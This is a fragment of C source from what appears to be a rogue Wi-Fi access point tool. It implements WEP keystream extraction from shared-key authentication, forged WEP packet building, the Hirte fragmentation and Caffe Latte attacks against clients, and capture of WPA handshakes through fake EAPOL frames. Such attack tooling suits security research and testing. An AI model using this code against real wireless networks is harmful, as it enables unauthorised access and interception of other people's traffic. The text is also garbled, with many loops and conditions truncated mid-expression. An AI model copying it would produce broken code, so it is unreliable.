/* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = opt.sk_len; if(textlen+4 != opt.sk_len2) { if(!opt.quiet) { PCT; printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, got %d bytes)\n", *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), textlen+4, opt.sk_len2); } return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, opt.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ opt.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = opt.sharedkey[1][24] & 0xFF; prga[1] = opt.sharedkey[1][25] & 0xFF; prga[2] = opt.sharedkey[1][26] & 0xFF; prga[3] = opt.sharedkey[1][27] & 0xFF; if( opt.f_xor != NULL ) { fclose(opt.f_xor); opt.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", opt.f_index, *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), "xor" ); opt.f_index++; opt.f_xor = fopen( ofn, "w"); if(opt.f_xor == NULL) return 1; for(n=0; n 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet) { uchar ividx[4]; if(packet == NULL) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if( opt.crypt == CRYPT_WEP ) { ividx[0] = rand() & 0xFF; ividx[1] = rand() & 0xFF; ividx[2] = rand() & 0xFF; ividx[3] = 0x00; } else if(opt.prga != NULL) { memcpy(ividx, opt.prga, 4); } /* insert IV+index */ memcpy(packet+24, ividx, 4); return 0; } int encrypt_data(unsigned char* data, int length) { uchar cipher[4096]; uchar K[128]; // int n; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if(opt.prgalen-4 < length && opt.crypt != CRYPT_WEP) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ if(opt.crypt == CRYPT_WEP) { K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( data, length, K, opt.weplen+3 ); memcpy(cipher, data, length); memcpy(data+4, cipher, length); memcpy(data, K, 3); data[3] = 0x00; } return 0; } int create_wep_packet(unsigned char* packet, int *length, int hdrlen) { if(packet == NULL) return 1; /* write crc32 value behind data */ if( add_crc32(packet+hdrlen, *length-hdrlen) != 0 ) return 1; /* encrypt data+crc32 and keep a 4byte hole */ if( encrypt_data(packet+hdrlen, *length-hdrlen+4) != 0 ) return 1; // /* write IV+IDX right in front of the encrypted data */ // if( set_IVidx(packet) != 0 ) return 1; /* set WEP bit */ packet[1] = packet[1] | 0x40; *length+=8; /* now you got yourself a shiny, brand new encrypted wep packet ;) */ return 0; } int intercept(uchar* packet, int length) { uchar buf[4096]; uchar K[128]; int z=0; memset(buf, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if( opt.crypt == CRYPT_WEP ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); } /* clear wep bit */ packet[1] &= 0xBF; // printf("intercept packet with len: %d\n", length); //insert ethernet header memcpy(buf+14, packet, length); length += 14; ti_write(dev.dv_ti2, buf, length); return 0; } int packet_xmit(uchar* packet, int length) { uchar buf[4096]; int fragments=1, i; int newlen=0, usedlen=0, length2; if(packet == NULL) return 1; if(length < 38) return 1; if(length-14 > 16*opt.wif_mtu-MAX_FRAME_EXTENSION) return 1; if(length+MAX_FRAME_EXTENSION > opt.wif_mtu) fragments=((length-14+MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1; if(fragments > 16) return 1; if(fragments > 1) newlen = (length-14+MAX_FRAME_EXTENSION)/fragments; else newlen = length-14; // printf("Sending %i fragments with size %i/%i\n", fragments, newlen, length-14); for(i=0; i> 4) | (frame[23] << 4); h80211[22] |= i & 0x0F; //set fragment h80211[1] |= 0x04; //more frags if(i == (fragments-1)) { h80211[1] &= 0xFB; //no more frags } // length = length+32-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE length2 = newlen+32; if((opt.external & EXT_OUT)) { memset(buf, 0, 4096); memcpy(buf+14, h80211, length2); //mark it as outgoing packet buf[12] = 0xFF; buf[13] = 0xFF; ti_write(dev.dv_ti2, buf, length2+14); // return 0; } else { if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { if(create_wep_packet(h80211, &length2, 24) != 0) return 1; } send_packet(h80211, length2); } usedlen += newlen; if((i+1) 3000) return 1; memset(buf, 0, 4096); if(memcmp(packet, buf, 11) != 0) { // printf("wrong header...\n"); return 1; } /* cut ethernet header */ memcpy(buf, packet, length); length -= 14; memcpy(packet, buf+14, length); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; // printf("packet with len: %d\n", length); if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { if(create_wep_packet(packet, &length, z) != 0) return 1; } if(memcmp(buf+12, (uchar *)"\x00\x00", 2) == 0) /* incoming packet */ { // printf("receiving packet with len: %d\n", length); packet_recv(packet, length, apc, 0); } else if(memcmp(buf+12, (uchar *)"\xFF\xFF", 2) == 0) /* outgoing packet */ { // printf("sending packet with len: %d\n", length); send_packet(packet, length); } return 0; } int remove_tag(unsigned char *flags, unsigned char type, int *length) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; unsigned char buffer[4096]; if(*length < 2) return 1; if(flags == NULL) return 1; pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; // printf("tag %d with len %d found, looking for tag %d\n", cur_type, cur_len, type); // printf("gone through %d bytes from %d max\n", len+2+cur_len, *length); if(len+2+cur_len > *length) return 1; if(cur_type == type) { if(cur_len > 0 && (pos-flags+cur_len+2) <= *length) { memcpy(buffer, pos+2+cur_len, *length-((pos+2+cur_len) - flags)); memcpy(pos, buffer, *length-((pos+2+cur_len) - flags)); *length = *length - 2 - cur_len; return 0; } else return 1; } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= *length); return 0; } uchar* parse_tags(unsigned char *flags, unsigned char type, int length, int *taglen) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; if(length < 2) return(NULL); if(flags == NULL) return(NULL); pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; // printf("tag %d with len %d found, looking for tag %d\n", cur_type, cur_len, type); // printf("gone through %d bytes from %d max\n", len+2+cur_len, length); if(len+2+cur_len > length) return(NULL); if(cur_type == type) { if(cur_len > 0) { *taglen = cur_len; return pos+2; } else return(NULL); } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= length); return(NULL); } int wpa_client(struct ST_info *st_cur,uchar* tag, int length) { if(tag == NULL) return 1; if(st_cur == NULL) return 1; if(tag[0] != 0xDD && tag[0] != 0x30) //wpa1 or wpa2 return 1; if(tag[0] == 0xDD) { if(length < 24) return 1; switch(tag[17]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 1; //wpa1 } if(tag[0] == 0x30 && st_cur->wpatype == 0) { if(length < 22) return 1; switch(tag[13]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 2; //wpa2 } return 0; } int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int set_final_arp(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x08; // IP buf[1] = 0x00; buf[2] = 0x06; //hardware size buf[3] = 0x04; //protocol size buf[4] = 0x00; buf[5] = 0x01; //request memcpy(buf+6, mymac, 6); //sender mac buf[12] = 0xA9; //sender IP 169.254.87.197 buf[13] = 0xFE; buf[14] = 0x57; buf[15] = 0xC5; //end sender IP return 0; } int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; buf[12] = 0x57; buf[13] = 0xC5; //end sender IP return 0; } //add packet for client fragmentation attack int addCF(uchar* packet, int length) { pCF_t curCF = rCF; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; uchar keystream[128]; uchar frag1[128], frag2[128], frag3[128]; uchar clear[4096], final[4096], flip[4096]; int isarp; int z, i; if(curCF == NULL) return 1; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z+8) return 1; if(length > 3800) { return 1; } if(opt.cf_count >= 100) return 1; memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( is_ipv6(packet) ) { if(opt.verbose) { PCT; printf("Ignored IPv6 packet.\n"); } return 1; } if( is_dhcp_discover(packet, length-z-4-4) ) { if(opt.verbose) { PCT; printf("Ignored DHCP Discover packet.\n"); } return 1; } /* check if it's a potential ARP request */ //its length 68 or 86 and going to broadcast or a unicast mac (even first byte) if( (length == 68 || length == 86) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ // printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (packet+z+4)[i] ^ clear[i]; // correct 80211 header packet[0] = 0x08; //data if( (packet[1] & 3) == 0x00 ) //ad-hoc { packet[1] = 0x40; //wep memcpy(packet+4, smac, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, bssid, 6); } else //tods { packet[1] = 0x42; //wep+FromDS memcpy(packet+4, smac, 6); memcpy(packet+10, bssid, 6); memcpy(packet+16, opt.r_smac, 6); } packet[22] = 0xD0; //frag = 0; packet[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, packet, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; inext != NULL) curCF = curCF->next; pthread_mutex_lock( &mx_cf ); curCF->next = (pCF_t) malloc(sizeof(struct CF_packet)); curCF = curCF->next; curCF->xmitcount = 0; curCF->next = NULL; if(isarp) { memcpy(curCF->frags[0], frag1, z+4+10+4); curCF->fraglen[0] = z+4+10+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 1; /* one frag and final frame */ } else { memcpy(curCF->frags[0], frag1, z+4+4+4); memcpy(curCF->frags[1], frag2, z+4+4+4); memcpy(curCF->frags[2], frag3, z+4+4+4); curCF->fraglen[0] = z+4+4+4; curCF->fraglen[1] = z+4+4+4; curCF->fraglen[2] = z+4+4+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 3; /* three frags and final frame */ } opt.cf_count++; pthread_mutex_unlock( &mx_cf ); if(opt.cf_count == 1 && !opt.quiet) { PCT; printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5],opt.r_nbpps); } if(opt.verbose) { PCT; printf("Added %s packet to cfrag buffer.\n", isarp?"ARP":"IP"); } return 0; } //add packet for caffe latte attack int addarp(uchar* packet, int length) { uchar bssid[6], smac[6], dmac[6]; uchar flip[4096]; int z=0, i=0; if(packet == NULL) return -1; if(length != 68 && length != 86) return -1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(( packet[1] & 3 ) == 0) { memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); memcpy( bssid, packet + 16, 6 ); } else { memcpy( dmac, packet + 4, 6 ); memcpy( bssid, packet + 10, 6 ); memcpy( smac, packet + 16, 6 ); } if(memcmp(dmac, BROADCAST, 6) != 0) return -1; if(memcmp(bssid, opt.r_bssid, 6) != 0) return -1; if(opt.nb_arp >= opt.ringbuffer) return -1; memset(flip, 0, 4096); flip[49-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[53-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, length-z-4-4); for(i=0; istmac[0], st_cur->stmac[1], st_cur->stmac[2] , st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5], IVS2_EXTENSION ); opt.f_index++; if( ( f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); fclose( f_ivs ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); //write stmac as bssid and essid ivs2.flags = 0; ivs2.len = 0; ivs2.len += st_cur->essid_length; ivs2.flags |= IVS2_ESSID; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( opt.r_bssid, 1, 6, f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); fclose( f_ivs ); return( 1 ); } ivs2.len -= 6; /* write essid */ if( fwrite( st_cur->essid, 1, st_cur->essid_length, f_ivs ) != (size_t) st_cur->essid_length ) { perror( "fwrite(IV essid) failed" ); fclose( f_ivs ); return( 1 ); } //add wpa data ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); fclose( f_ivs ); return( 1 ); } fclose( f_ivs ); return 0; } int packet_recv(uchar* packet, int length, struct AP_conf *apc, int external) { uchar K[64]; uchar bssid[6]; uchar smac[6]; uchar dmac[6]; int trailer=0; uchar *tag=NULL; int len, i, c; uchar *buffer; char essid[256]; struct timeval tv1; u_int64_t timestamp; char *fessid; int seqnum, fragnum, morefrag; int gotsource, gotbssid; int remaining, bytes2use; int reasso, fixed, z; struct ST_info *st_cur = NULL; struct ST_info *st_prv = NULL; reasso = 0; fixed = 0; memset(essid, 0, 256); pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(packet, length); pthread_mutex_unlock( &mx_cap ); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) { return 1; } if(length > 3800) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( (packet[1] & 3) == 0x03) { /* no wds support yet */ return 1; } /* MAC Filter */ if(opt.filter >= 0) { if(getMACcount(rClient) > 0) { /* filter clients */ gotsource = gotMAC(rClient, smac); if((gotsource && opt.filter == BLOCK_MACS) || ( !gotsource && opt.filter == ALLOW_MACS)) return 0; } if(getMACcount(rBSSID) > 0) { /* filter bssids */ gotbssid = gotMAC(rBSSID, bssid); if((gotbssid && opt.filter == BLOCK_MACS) || ( !gotbssid && opt.filter == ALLOW_MACS)) return 0; } } /* check list of clients */ st_cur = opt.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, smac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( st_cur, 0, sizeof( struct ST_info ) ); if( opt.st_1st == NULL ) opt.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, smac, 6 ); st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } memset(st_cur->essid, 0, 256); st_cur->essid_length = 0; st_cur->wpatype = 0; st_cur->wpahash = 0; st_cur->wep = 0; opt.st_end = st_cur; } /* Got a data packet with our bssid set and ToDS==1*/ if( memcmp( bssid, opt.r_bssid, 6) == 0 && ( packet[0] & 0x08 ) == 0x08 && (packet[1] & 0x03) == 0x01 ) { // printf("to me with len: %d\n", length); fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; // printf("frag: %d, morefrag: %d\n", fragnum, morefrag); /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } /* intercept packets in case we got external processing */ if(external) { intercept(packet, length); return 0; } /* To our mac? */ if( (memcmp( dmac, opt.r_bssid, 6) == 0 && !opt.adhoc ) || (memcmp( dmac, opt.r_smac, 6) == 0 && opt.adhoc ) ) { /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.cf_attack) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } else { if(opt.cf_attack) { addCF(packet, length); return 0; } /* its a packet for us, but we either don't have the key or its WPA -> throw it away */ return 0; } } else { /* unencrypted data packet, nothing special, send it through dev_ti */ if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01", 10) == 0) { /* got eapol start frame */ if(opt.verbose) { PCT; printf("Got EAPOL start frame from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } st_cur->wpa.state = 0; for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && !opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else if(st_cur->wpatype == 2) h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); return 0; } if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03", 10) == 0) { st_cur->wpa.eapol_size = ( packet[z + 8 + 2] << 8 ) + packet[z + 8 + 3] + 4; if (length - z - 10 < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) { // Ignore the packet trying to crash us. printf("Something is trying to crash us; length: %d - z: %d - eapol size: %d\n", length, z, st_cur->wpa.eapol_size); return 1; } /* got eapol frame num 2 */ memcpy( st_cur->wpa.snonce, &packet[z + 8 + 17], 32 ); st_cur->wpa.state |= 2; memcpy( st_cur->wpa.keymic, &packet[z + 8 + 81], 16 ); memcpy( st_cur->wpa.eapol, &packet[z + 8], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = packet[z + 8 + 6] & 7; memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); store_wpa_handshake(st_cur); if(!opt.quiet) { PCT; printf("Got WPA handshake from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } return 0; } } } else { packet[1] &= 0xFC; //clear ToDS/FromDS if(!opt.adhoc) { /* Our bssid, ToDS=1, but to a different destination MAC -> send it through both interfaces */ packet[1] |= 0x02; //set FromDS=1 memcpy(packet + 4, dmac, 6); memcpy(packet + 10, bssid, 6); memcpy(packet + 16, smac, 6); } else { /* adhoc, don't replay */ memcpy(packet + 4, dmac, 6); memcpy(packet + 10, smac, 6); memcpy(packet + 16, bssid, 6); } // printf("sent packet length: %d\n", length); /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.caffelatte && !opt.cf_attack ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; /* reencrypt it to send it with a new IV */ memcpy(h80211, packet, length); if(create_wep_packet(h80211, &length, z) != 0) return 1; if(!opt.adhoc) send_packet(h80211, length); } else { if(opt.caffelatte) { addarp(packet, length); } if(opt.cf_attack) { addCF(packet, length); } /* its a packet we can't decrypt -> just replay it through the wireless interface */ return 0; } } else { /* unencrypted -> send it through the wireless interface */ send_packet(packet, length); } } memcpy( h80211, dmac, 6); //DST_MAC memcpy( h80211+6, smac, 6); //SRC_MAC memcpy( h80211+12, packet+z+6, 2); //copy ether type if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; //ethernet frame must be atleast 60 bytes without fcs if(length < 60) { trailer = 60 - length; memset(h80211 + length, 0, trailer); length += trailer; } ti_write(dev.dv_ti, h80211, length); } else { //react on management frames //probe request -> send probe response if essid matches. if brodcast probe, ignore it. if( packet[0] == 0x40 ) { tag = parse_tags(packet+z, 0, length-z, &len); if(tag 